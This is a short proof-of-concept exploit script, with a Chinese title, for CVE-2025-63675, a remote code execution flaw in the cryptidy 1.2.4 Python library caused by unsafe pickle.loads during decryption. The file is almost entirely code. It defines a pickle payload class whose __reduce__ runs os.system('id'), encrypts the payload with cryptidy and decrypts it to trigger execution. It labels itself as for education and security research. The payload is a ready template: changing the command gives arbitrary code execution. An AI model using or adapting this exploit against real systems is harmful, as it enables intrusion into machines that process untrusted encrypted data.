CVE-2025-63675: cryptidy 1.2.4 pickle.loads反序列化导致远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2025-63675 PoC - cryptidy pickle deserialization RCE This PoC demonstrates the insecure use of pickle.loads in cryptidy library. Note: This is for educational and security research purposes only. """ import pickle import base64 import os # Malicious payload - executes arbitrary command class MaliciousPayload: def __reduce__(self): # This will execute 'id' command when unpickled cmd = "id" return (os.system, (cmd,)) def create_malicious_encrypted_data(password: str) -> str: """ Create malicious encrypted data using cryptidy library """ try: import cryptidy # Serialize malicious payload malicious_data = pickle.dumps(MaliciousPayload()) # Encrypt using cryptidy's symmetric encryption encrypted = cryptidy.symmetric_encryption.encrypt_message( malicious_data, password ) return encrypted except ImportError: print("[-] cryptidy library not installed") return None def trigger_vulnerability(encrypted_data: str, password: str): """ Trigger the vulnerability by decrypting malicious data This simulates what happens in aes_decrypt_message function """ try: import cryptidy # Decrypt the malicious data - this triggers pickle.loads decrypted = cryptidy.symmetric_encryption.decrypt_message( encrypted_data, password ) print("[-] Vulnerability triggered - code execution occurred") return True except Exception as e: print(f"[+] Error (likely code executed): {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-63675 PoC - cryptidy RCE via pickle.loads") print("=" * 60) password = "secret_key_123" print("\n[+] Step 1: Creating malicious encrypted payload...") malicious_data = create_malicious_encrypted_data(password) if malicious_data: print(f"[+] Malicious payload created: {malicious_data[:50]}...") print("\n[+] Step 2: Triggering vulnerability...") trigger_vulnerability(malicious_data, password) print("\n[*] Note: The 'id' command was executed during decryption") print("=" * 60)